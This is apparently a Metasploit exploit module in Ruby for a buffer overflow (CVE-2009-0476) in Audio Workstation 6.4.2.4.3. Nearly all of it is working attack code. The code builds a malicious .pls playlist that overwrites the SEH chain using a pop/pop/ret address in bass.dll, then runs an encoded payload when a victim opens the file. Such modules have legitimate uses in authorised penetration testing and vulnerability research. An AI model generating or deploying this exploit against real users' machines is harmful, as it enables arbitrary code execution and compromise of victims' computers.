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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::FILEFORMAT
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Audio Workstation 6.4.2.4.3 pls Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in Audio Workstation 6.4.2.4.3.
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          When opening a malicious pls file with the Audio Workstation,
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          a remote attacker could overflow a buffer and execute
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          arbitrary code.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'germaya_x', 'dookie', ],
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        'References' => [
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          [ 'CVE', '2009-0476' ],
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          [ 'OSVDB', '55424' ],
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          [ 'EDB', '10353' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'seh',
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          'DisablePayloadHandler' => true,
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          'AllowWin32SEH' => true
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        },
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        'Payload' => {
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          'Space' => 4100,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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          'DisableNops' => true,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows Universal', { 'Ret' => 0x1101031E } ], # p/p/r in bass.dll
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2009-12-08',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),
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      ]
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    )
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  end
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  def exploit
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    sploit = rand_text_alpha_upper(1308)
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    sploit << "\xeb\x16\x90\x90"
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    sploit << [target.ret].pack('V')
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    sploit << make_nops(32)
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    sploit << payload.encoded
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    sploit << rand_text_alpha_upper(4652 - payload.encoded.length)
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    print_status("Creating '#{datastore['FILENAME']}' file ...")
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    file_create(sploit)
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  end
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end
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